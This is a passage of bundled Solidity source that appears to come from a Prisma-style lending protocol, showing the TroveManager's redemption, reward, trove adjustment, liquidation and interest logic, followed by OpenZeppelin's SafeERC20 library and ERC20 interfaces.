* If the resultant net debt of the partial is less than the minimum, net debt we bail.\n */\n\n {\n // We check if the ICR hint is reasonable up to date, with continuous interest there might be slight differences (<1bps)\n uint256 icrError = _partialRedemptionHintNICR > newNICR\n ? _partialRedemptionHintNICR - newNICR\n : newNICR - _partialRedemptionHintNICR;\n if (\n icrError > 5e14 ||\n _getNetDebt(newDebt) < IBorrowerOperations(borrowerOperationsAddress).minNetDebt()\n ) {\n singleRedemption.cancelledPartial = true;\n return singleRedemption;\n }\n }\n\n _sortedTrovesCached.reInsert(_borrower, newNICR, _upperPartialRedemptionHint, _lowerPartialRedemptionHint);\n\n t.debt = newDebt;\n t.coll = newColl;\n _updateStakeAndTotalStakes(t);\n\n emit TroveUpdated(_borrower, newDebt, newColl, t.stake, TroveManagerOperation.redeemCollateral);\n }\n\n return singleRedemption;\n }\n\n /*\n * Called when a full redemption occurs, and closes the trove.\n * The redeemer swaps (debt - liquidation reserve) debt for (debt - liquidation reserve) worth of collateral, so the debt liquidation reserve left corresponds to the remaining debt.\n * In order to close the trove, the debt liquidation reserve is burned, and the corresponding debt is removed.\n * The debt recorded on the trove's struct is zero'd elswhere, in _closeTrove.\n * Any surplus collateral left in the trove can be later claimed by the borrower.\n */\n function _redeemCloseTrove(address _borrower, uint256 _debt, uint256 _collateral) internal {\n debtToken.burn(gasPoolAddress, _debt);\n totalActiveDebt = totalActiveDebt - _debt;\n\n surplusBalances[_borrower] += _collateral;\n totalActiveCollateral -= _collateral;\n }\n\n function _isValidFirstRedemptionHint(\n ISortedTroves _sortedTroves,\n address _firstRedemptionHint,\n uint256 _price,\n uint256 _MCR\n ) internal view returns (bool) {\n if (\n _firstRedemptionHint == address(0) ||\n !_sortedTroves.contains(_firstRedemptionHint) ||\n getCurrentICR(_firstRedemptionHint, _price) < _MCR\n ) {\n return false;\n }\n\n address nextTrove = _sortedTroves.getNext(_firstRedemptionHint);\n return nextTrove == address(0) || getCurrentICR(nextTrove, _price) < _MCR;\n }\n\n /**\n * Claim remaining collateral from a redemption or from a liquidation with ICR > MCR in Recovery Mode\n */\n function claimCollateral(address _receiver) external {\n uint256 claimableColl = surplusBalances[msg.sender];\n require(claimableColl > 0, \"No collateral available to claim\");\n\n surplusBalances[msg.sender] = 0;\n\n collateralToken.safeTransfer(_receiver, claimableColl);\n }\n\n // --- Reward Claim functions ---\n\n function claimReward(address receiver) external returns (uint256) {\n uint256 amount = _claimReward(msg.sender);\n\n if (amount > 0) {\n vault.transferAllocatedTokens(msg.sender, receiver, amount);\n }\n emit RewardClaimed(msg.sender, receiver, amount);\n return amount;\n }\n\n function vaultClaimReward(address claimant, address) external returns (uint256) {\n require(msg.sender == address(vault));\n\n return _claimReward(claimant);\n }\n\n function _claimReward(address account) internal returns (uint256) {\n require(emissionId.debt > 0, \"Rewards not active\");\n // update active debt rewards\n _applyPendingRewards(account);\n uint256 amount = storedPendingReward[account];\n if (amount > 0) storedPendingReward[account] = 0;\n\n // add pending mint awards\n uint256 mintAmount = _getPendingMintReward(account);\n if (mintAmount > 0) {\n amount += mintAmount;\n delete accountLatestMint[account];\n }\n\n return amount;\n }\n\n function claimableReward(address account) external view returns (uint256) {\n // previously calculated rewards\n uint256 amount = storedPendingReward[account];\n\n // pending active debt rewards\n uint256 updated = periodFinish;\n if (updated > block.timestamp) updated = block.timestamp;\n uint256 duration = updated - lastUpdate;\n uint256 integral = rewardIntegral;\n if (duration > 0) {\n uint256 supply = totalActiveDebt;\n if (supply > 0) {\n integral += (duration * rewardRate * 1e18) / supply;\n }\n }\n uint256 integralFor = rewardIntegralFor[account];\n\n if (integral > integralFor) {\n amount += (Troves[account].debt * (integral - integralFor)) / 1e18;\n }\n\n // pending mint rewards\n amount += _getPendingMintReward(account);\n\n return amount;\n }\n\n function _getPendingMintReward(address account) internal view returns (uint256 amount) {\n VolumeData memory data = accountLatestMint[account];\n if (data.amount > 0) {\n (uint256 week, uint256 day) = getWeekAndDay();\n if (data.day != day || data.week != week) {\n return (dailyMintReward[data.week] * data.amount) / totalMints[data.week][data.day];\n }\n }\n }\n\n function _updateIntegrals(address account, uint256 balance, uint256 supply) internal {\n uint256 integral = _updateRewardIntegral(supply);\n _updateIntegralForAccount(account, balance, integral);\n }\n\n function _updateIntegralForAccount(address account, uint256 balance, uint256 currentIntegral) internal {\n uint256 integralFor = rewardIntegralFor[account];\n\n if (currentIntegral > integralFor) {\n storedPendingReward[account] += (balance * (currentIntegral - integralFor)) / 1e18;\n rewardIntegralFor[account] = currentIntegral;\n }\n }\n\n function _updateRewardIntegral(uint256 supply) internal returns (uint256 integral) {\n uint256 _periodFinish = periodFinish;\n uint256 updated = _periodFinish;\n if (updated > block.timestamp) updated = block.timestamp;\n uint256 duration = updated - lastUpdate;\n integral = rewardIntegral;\n if (duration > 0) {\n lastUpdate = uint32(updated);\n if (supply > 0) {\n integral += (duration * rewardRate * 1e18) / supply;\n rewardIntegral = integral;\n }\n }\n _fetchRewards(_periodFinish);\n\n return integral;\n }\n\n function _fetchRewards(uint256 _periodFinish) internal {\n EmissionId memory id = emissionId;\n if (id.debt == 0) return;\n uint256 currentWeek = getWeek();\n if (currentWeek < (_periodFinish - startTime) / 1 weeks) return;\n uint256 previousWeek = (_periodFinish - startTime) / 1 weeks - 1;\n\n // active debt rewards\n uint256 amount = vault.allocateNewEmissions(id.debt);\n if (block.timestamp < _periodFinish) {\n uint256 remaining = _periodFinish - block.timestamp;\n amount += remaining * rewardRate;\n }\n rewardRate = uint128(amount / REWARD_DURATION);\n lastUpdate = uint32(block.timestamp);\n periodFinish = uint32(block.timestamp + REWARD_DURATION);\n\n // minting rewards\n amount = vault.allocateNewEmissions(id.minting);\n uint256 reward = dailyMintReward[previousWeek];\n if (reward > 0) {\n uint32[7] memory totals = totalMints[previousWeek];\n for (uint256 i = 0; i < 7; i++) {\n if (totals[i] == 0) {\n amount += reward;\n }\n }\n }\n dailyMintReward[currentWeek] = amount / 7;\n }\n\n // --- Trove Adjustment functions ---\n\n function openTrove(\n address _borrower,\n uint256 _collateralAmount,\n uint256 _compositeDebt,\n uint256 NICR,\n address _upperHint,\n address _lowerHint,\n bool _isRecoveryMode\n ) external whenNotPaused returns (uint256 stake, uint256 arrayIndex) {\n _requireCallerIsBO();\n require(!sunsetting, \"Cannot open while sunsetting\");\n uint256 supply = totalActiveDebt;\n\n Trove storage t = Troves[_borrower];\n require(t.status != Status.active, \"BorrowerOps: Trove is active\");\n t.status = Status.active;\n t.coll = _collateralAmount;\n t.debt = _compositeDebt;\n uint256 currentInterestIndex = _accrueActiveInterests();\n t.activeInterestIndex = currentInterestIndex;\n _updateTroveRewardSnapshots(_borrower);\n stake = _updateStakeAndTotalStakes(t);\n sortedTroves.insert(_borrower, NICR, _upperHint, _lowerHint);\n\n TroveOwners.push(_borrower);\n arrayIndex = TroveOwners.length - 1;\n t.arrayIndex = uint128(arrayIndex);\n\n _updateIntegrals(_borrower, 0, supply);\n if (!_isRecoveryMode) _updateMintVolume(_borrower, _compositeDebt);\n\n totalActiveCollateral = totalActiveCollateral + _collateralAmount;\n uint256 _newTotalDebt = totalActiveDebt + _compositeDebt;\n require(_newTotalDebt + defaultedDebt <= maxSystemDebt, \"Collateral debt limit reached\");\n totalActiveDebt = _newTotalDebt;\n emit TroveUpdated(_borrower, _compositeDebt, _collateralAmount, stake, TroveManagerOperation.open);\n }\n\n function updateTroveFromAdjustment(\n bool _isRecoveryMode,\n bool _isDebtIncrease,\n uint256 _debtChange,\n uint256 _netDebtChange,\n bool _isCollIncrease,\n uint256 _collChange,\n address _upperHint,\n address _lowerHint,\n address _borrower,\n address _receiver\n ) external returns (uint256, uint256, uint256) {\n _requireCallerIsBO();\n if (_isCollIncrease || _isDebtIncrease) {\n require(!paused, \"Collateral Paused\");\n require(!sunsetting, \"Cannot increase while sunsetting\");\n }\n\n Trove storage t = Troves[_borrower];\n require(t.status == Status.active, \"Trove closed or does not exist\");\n\n uint256 newDebt = t.debt;\n if (_debtChange > 0) {\n if (_isDebtIncrease) {\n newDebt = newDebt + _netDebtChange;\n if (!_isRecoveryMode) _updateMintVolume(_borrower, _netDebtChange);\n _increaseDebt(_receiver, _netDebtChange, _debtChange);\n } else {\n newDebt = newDebt - _netDebtChange;\n _decreaseDebt(_receiver, _debtChange);\n }\n t.debt = newDebt;\n }\n\n uint256 newColl = t.coll;\n if (_collChange > 0) {\n if (_isCollIncrease) {\n newColl = newColl + _collChange;\n totalActiveCollateral = totalActiveCollateral + _collChange;\n // trust that BorrowerOperations sent the collateral\n } else {\n newColl = newColl - _collChange;\n _sendCollateral(_receiver, _collChange);\n }\n t.coll = newColl;\n }\n\n uint256 newNICR = PrismaMath._computeNominalCR(newColl, newDebt);\n sortedTroves.reInsert(_borrower, newNICR, _upperHint, _lowerHint);\n uint256 newStake = _updateStakeAndTotalStakes(t);\n emit TroveUpdated(_borrower, newDebt, newColl, newStake, TroveManagerOperation.adjust);\n\n return (newColl, newDebt, newStake);\n }\n\n function closeTrove(address _borrower, address _receiver, uint256 collAmount, uint256 debtAmount) external {\n _requireCallerIsBO();\n require(Troves[_borrower].status == Status.active, \"Trove closed or does not exist\");\n _removeStake(_borrower);\n _closeTrove(_borrower, Status.closedByOwner);\n if (TroveOwners.length > 0) {\n totalActiveDebt = totalActiveDebt - debtAmount;\n } else {\n // Account for dust discrepancies due to interest sampling\n totalActiveDebt = 0;\n }\n _sendCollateral(_receiver, collAmount);\n _resetState();\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.close);\n }\n\n /**\n @dev Only called from `closeTrove` because liquidating the final trove is blocked in\n `LiquidationManager`. Many liquidation paths involve redistributing debt and\n collateral to existing troves. If the collateral is being sunset, the final trove\n must be closed by repaying the debt or via a redemption.\n */\n function _resetState() private {\n if (TroveOwners.length == 0) {\n activeInterestIndex = INTEREST_PRECISION;\n lastActiveIndexUpdate = block.timestamp;\n totalStakes = 0;\n totalStakesSnapshot = 0;\n totalCollateralSnapshot = 0;\n L_collateral = 0;\n L_debt = 0;\n lastCollateralError_Redistribution = 0;\n lastDebtError_Redistribution = 0;\n totalActiveCollateral = 0;\n totalActiveDebt = 0;\n defaultedCollateral = 0;\n defaultedDebt = 0;\n }\n }\n\n function _closeTrove(address _borrower, Status closedStatus) internal {\n uint256 TroveOwnersArrayLength = TroveOwners.length;\n\n Trove storage t = Troves[_borrower];\n t.status = closedStatus;\n t.coll = 0;\n t.debt = 0;\n t.activeInterestIndex = 0;\n ISortedTroves sortedTrovesCached = sortedTroves;\n rewardSnapshots[_borrower].collateral = 0;\n rewardSnapshots[_borrower].debt = 0;\n if (TroveOwnersArrayLength > 1 && sortedTrovesCached.getSize() > 1) {\n // remove trove owner from the TroveOwners array, not preserving array order\n uint128 index = t.arrayIndex;\n address addressToMove = TroveOwners[TroveOwnersArrayLength - 1];\n TroveOwners[index] = addressToMove;\n Troves[addressToMove].arrayIndex = index;\n emit TroveIndexUpdated(addressToMove, index);\n }\n\n TroveOwners.pop();\n\n sortedTrovesCached.remove(_borrower);\n t.arrayIndex = 0;\n }\n\n function _updateMintVolume(address account, uint256 initialAmount) internal {\n uint32 amount = uint32(initialAmount / VOLUME_MULTIPLIER);\n (uint256 week, uint256 day) = getWeekAndDay();\n totalMints[week][day] += amount;\n\n VolumeData memory data = accountLatestMint[account];\n if (data.day == day && data.week == week) {\n // if the caller made a previous redemption today, we only increase their redeemed amount\n accountLatestMint[account].amount = data.amount + amount;\n } else {\n if (data.amount > 0) {\n // if the caller made a previous redemption on a different day,\n // calculate the emissions earned for that redemption\n uint256 pending = (dailyMintReward[data.week] * data.amount) / totalMints[data.week][data.day];\n storedPendingReward[account] += pending;\n }\n accountLatestMint[account] = VolumeData({ week: uint32(week), day: uint32(day), amount: amount });\n }\n }\n\n // Updates the baseRate state variable based on time elapsed since the last redemption or debt borrowing operation.\n function decayBaseRateAndGetBorrowingFee(uint256 _debt) external returns (uint256) {\n _requireCallerIsBO();\n uint256 rate = _decayBaseRate();\n\n return _calcBorrowingFee(_calcBorrowingRate(rate), _debt);\n }\n\n function _decayBaseRate() internal returns (uint256) {\n uint256 decayedBaseRate = _calcDecayedBaseRate();\n\n baseRate = decayedBaseRate;\n emit BaseRateUpdated(decayedBaseRate);\n\n _updateLastFeeOpTime();\n\n return decayedBaseRate;\n }\n\n function applyPendingRewards(address _borrower) external returns (uint256 coll, uint256 debt) {\n _requireCallerIsBO();\n return _applyPendingRewards(_borrower);\n }\n\n // Add the borrowers's coll and debt rewards earned from redistributions, to their Trove\n function _applyPendingRewards(address _borrower) internal returns (uint256 coll, uint256 debt) {\n Trove storage t = Troves[_borrower];\n if (t.status == Status.active) {\n uint256 troveInterestIndex = t.activeInterestIndex;\n uint256 supply = totalActiveDebt;\n uint256 currentInterestIndex = _accrueActiveInterests();\n debt = t.debt;\n uint256 prevDebt = debt;\n coll = t.coll;\n // We accrued interests for this trove if not already updated\n if (troveInterestIndex < currentInterestIndex) {\n debt = (debt * currentInterestIndex) / troveInterestIndex;\n t.activeInterestIndex = currentInterestIndex;\n }\n\n if (rewardSnapshots[_borrower].collateral < L_collateral) {\n // Compute pending rewards\n (uint256 pendingCollateralReward, uint256 pendingDebtReward) = getPendingCollAndDebtRewards(_borrower);\n\n // Apply pending rewards to trove's state\n coll = coll + pendingCollateralReward;\n t.coll = coll;\n debt = debt + pendingDebtReward;\n\n _updateTroveRewardSnapshots(_borrower);\n\n _movePendingTroveRewardsToActiveBalance(pendingDebtReward, pendingCollateralReward);\n }\n if (prevDebt != debt) {\n t.debt = debt;\n }\n _updateIntegrals(_borrower, prevDebt, supply);\n }\n return (coll, debt);\n }\n\n function _updateTroveRewardSnapshots(address _borrower) internal {\n uint256 L_collateralCached = L_collateral;\n uint256 L_debtCached = L_debt;\n rewardSnapshots[_borrower] = RewardSnapshot(L_collateralCached, L_debtCached);\n emit TroveSnapshotsUpdated(L_collateralCached, L_debtCached);\n }\n\n // Remove borrower's stake from the totalStakes sum, and set their stake to 0\n function _removeStake(address _borrower) internal {\n uint256 stake = Troves[_borrower].stake;\n totalStakes = totalStakes - stake;\n Troves[_borrower].stake = 0;\n }\n\n // Update borrower's stake based on their latest collateral value\n function _updateStakeAndTotalStakes(Trove storage t) internal returns (uint256) {\n uint256 newStake = _computeNewStake(t.coll);\n uint256 oldStake = t.stake;\n t.stake = newStake;\n uint256 newTotalStakes = totalStakes - oldStake + newStake;\n totalStakes = newTotalStakes;\n emit TotalStakesUpdated(newTotalStakes);\n\n return newStake;\n }\n\n // Calculate a new stake based on the snapshots of the totalStakes and totalCollateral taken at the last liquidation\n function _computeNewStake(uint256 _coll) internal view returns (uint256) {\n uint256 stake;\n uint256 totalCollateralSnapshotCached = totalCollateralSnapshot;\n if (totalCollateralSnapshotCached == 0) {\n stake = _coll;\n } else {\n /*\n * The following assert() holds true because:\n * - The system always contains >= 1 trove\n * - When we close or liquidate a trove, we redistribute the pending rewards, so if all troves were closed/liquidated,\n * rewards would’ve been emptied and totalCollateralSnapshot would be zero too.\n */\n uint256 totalStakesSnapshotCached = totalStakesSnapshot;\n assert(totalStakesSnapshotCached > 0);\n stake = (_coll * totalStakesSnapshotCached) / totalCollateralSnapshotCached;\n }\n return stake;\n }\n\n // --- Liquidation Functions ---\n\n function closeTroveByLiquidation(address _borrower) external {\n _requireCallerIsLM();\n uint256 debtBefore = Troves[_borrower].debt;\n _removeStake(_borrower);\n _closeTrove(_borrower, Status.closedByLiquidation);\n _updateIntegralForAccount(_borrower, debtBefore, rewardIntegral);\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.liquidate);\n }\n\n function movePendingTroveRewardsToActiveBalances(uint256 _debt, uint256 _collateral) external {\n _requireCallerIsLM();\n _movePendingTroveRewardsToActiveBalance(_debt, _collateral);\n }\n\n function _movePendingTroveRewardsToActiveBalance(uint256 _debt, uint256 _collateral) internal {\n defaultedDebt -= _debt;\n totalActiveDebt += _debt;\n defaultedCollateral -= _collateral;\n totalActiveCollateral += _collateral;\n }\n\n function addCollateralSurplus(address borrower, uint256 collSurplus) external {\n _requireCallerIsLM();\n surplusBalances[borrower] += collSurplus;\n }\n\n function finalizeLiquidation(\n address _liquidator,\n uint256 _debt,\n uint256 _coll,\n uint256 _collSurplus,\n uint256 _debtGasComp,\n uint256 _collGasComp\n ) external {\n _requireCallerIsLM();\n // redistribute debt and collateral\n _redistributeDebtAndColl(_debt, _coll);\n\n uint256 _activeColl = totalActiveCollateral;\n if (_collSurplus > 0) {\n _activeColl -= _collSurplus;\n totalActiveCollateral = _activeColl;\n }\n\n // update system snapshos\n totalStakesSnapshot = totalStakes;\n totalCollateralSnapshot = _activeColl - _collGasComp + defaultedCollateral;\n emit SystemSnapshotsUpdated(totalStakesSnapshot, totalCollateralSnapshot);\n\n // send gas compensation\n debtToken.returnFromPool(gasPoolAddress, _liquidator, _debtGasComp);\n _sendCollateral(_liquidator, _collGasComp);\n }\n\n function _redistributeDebtAndColl(uint256 _debt, uint256 _coll) internal {\n if (_debt == 0) {\n return;\n }\n /*\n * Add distributed coll and debt rewards-per-unit-staked to the running totals. Division uses a \"feedback\"\n * error correction, to keep the cumulative error low in the running totals L_collateral and L_debt:\n *\n * 1) Form numerators which compensate for the floor division errors that occurred the last time this\n * function was called.\n * 2) Calculate \"per-unit-staked\" ratios.\n * 3) Multiply each ratio back by its denominator, to reveal the current floor division error.\n * 4) Store these errors for use in the next correction when this function is called.\n * 5) Note: static analysis tools complain about this \"division before multiplication\", however, it is intended.\n */\n uint256 collateralNumerator = (_coll * DECIMAL_PRECISION) + lastCollateralError_Redistribution;\n uint256 debtNumerator = (_debt * DECIMAL_PRECISION) + lastDebtError_Redistribution;\n uint256 totalStakesCached = totalStakes;\n // Get the per-unit-staked terms\n uint256 collateralRewardPerUnitStaked = collateralNumerator / totalStakesCached;\n uint256 debtRewardPerUnitStaked = debtNumerator / totalStakesCached;\n\n lastCollateralError_Redistribution = collateralNumerator - (collateralRewardPerUnitStaked * totalStakesCached);\n lastDebtError_Redistribution = debtNumerator - (debtRewardPerUnitStaked * totalStakesCached);\n\n // Add per-unit-staked terms to the running totals\n uint256 new_L_collateral = L_collateral + collateralRewardPerUnitStaked;\n uint256 new_L_debt = L_debt + debtRewardPerUnitStaked;\n L_collateral = new_L_collateral;\n L_debt = new_L_debt;\n\n emit LTermsUpdated(new_L_collateral, new_L_debt);\n\n totalActiveDebt -= _debt;\n defaultedDebt += _debt;\n defaultedCollateral += _coll;\n totalActiveCollateral -= _coll;\n }\n\n // --- Trove property setters ---\n\n function _sendCollateral(address _account, uint256 _amount) private {\n if (_amount > 0) {\n totalActiveCollateral = totalActiveCollateral - _amount;\n emit CollateralSent(_account, _amount);\n\n collateralToken.safeTransfer(_account, _amount);\n }\n }\n\n function _increaseDebt(address account, uint256 netDebtAmount, uint256 debtAmount) internal {\n uint256 _newTotalDebt = totalActiveDebt + netDebtAmount;\n require(_newTotalDebt + defaultedDebt <= maxSystemDebt, \"Collateral debt limit reached\");\n totalActiveDebt = _newTotalDebt;\n debtToken.mint(account, debtAmount);\n }\n\n function decreaseDebtAndSendCollateral(address account, uint256 debt, uint256 coll) external {\n _requireCallerIsLM();\n _decreaseDebt(account, debt);\n _sendCollateral(account, coll);\n }\n\n function _decreaseDebt(address account, uint256 amount) internal {\n debtToken.burn(account, amount);\n totalActiveDebt = totalActiveDebt - amount;\n }\n\n // --- Balances and interest ---\n\n function updateBalances() external {\n _requireCallerIsLM();\n _updateBalances();\n }\n\n function _updateBalances() private {\n _updateRewardIntegral(totalActiveDebt);\n _accrueActiveInterests();\n }\n\n // This function must be called any time the debt or the interest changes\n function _accrueActiveInterests() internal returns (uint256) {\n (uint256 currentInterestIndex, uint256 interestFactor) = _calculateInterestIndex();\n if (interestFactor > 0) {\n uint256 currentDebt = totalActiveDebt;\n uint256 activeInterests = Math.mulDiv(currentDebt, interestFactor, INTEREST_PRECISION);\n totalActiveDebt = currentDebt + activeInterests;\n interestPayable = interestPayable + activeInterests;\n activeInterestIndex = currentInterestIndex;\n lastActiveIndexUpdate = block.timestamp;\n }\n return currentInterestIndex;\n }\n\n function _calculateInterestIndex() internal view returns (uint256 currentInterestIndex, uint256 interestFactor) {\n uint256 lastIndexUpdateCached = lastActiveIndexUpdate;\n // Short circuit if we updated in the current block\n if (lastIndexUpdateCached == block.timestamp) return (activeInterestIndex, 0);\n uint256 currentInterest = interestRate;\n currentInterestIndex = activeInterestIndex; // we need to return this if it's already up to date\n if (currentInterest > 0) {\n /*\n * Calculate the interest accumulated and the new index:\n * We compound the index and increase the debt accordingly\n */\n interestFactor = (block.timestamp - lastIndexUpdateCached) * currentInterest;\n currentInterestIndex =\n currentInterestIndex +\n Math.mulDiv(currentInterestIndex, interestFactor, INTEREST_PRECISION);\n }\n }\n\n // --- Requires ---\n\n function _requireCallerIsBO() internal view {\n require(msg.sender == borrowerOperationsAddress);\n }\n\n function _requireCallerIsLM() internal view {\n require(msg.sender == liquidationManager);\n }\n}\n"
},
"contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.3) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"contracts/token/ERC20/IERC20.sol\";\nimport \"contracts/token/ERC20/extensions/IERC20Permit.sol\";\nimport \"contracts/utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n /**\n * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n /**\n * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the\n * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.\n */\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n /**\n * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value));\n }\n\n /**\n * @dev Decrease the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value));\n }\n }\n\n /**\n * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval\n * to be set to zero before setting it to a non-zero value, such as USDT.\n */\n function forceApprove(IERC20 token, address spender, uint256 value) internal {\n bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n /**\n * @dev Use a ERC-2612 signature to set the `owner` approval toward `spender` on `token`.\n * Revert on invalid signature.\n */\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n require(returndata.length == 0 || abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n *\n * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead.\n */\n function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false\n // and not revert is the subcall reverts.\n\n (bool success, bytes memory returndata) = address(token).call(data);\n return\n success && (returndata.length == 0 || abi.decode(returndata, (bool))) && Address.isContract(address(token));\n }\n}\n"
},
"contracts/token/ERC20/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n}\n"
},
"contracts/token/ERC20/extensions/IERC20Permit.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/extensions/IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20Permit {\n /**\n * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n * given ``owner``'s signed approval.\n *\n * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n * ordering also apply here.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `deadline` must be a timestamp in the future.\n * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n * over the EIP712-formatted function arguments.\n * - the signature must use ``owner``'s current nonce (see {nonces}).\n *\n * For more information on the signature format, see the\n * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n * section].\n */\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n /**\n * 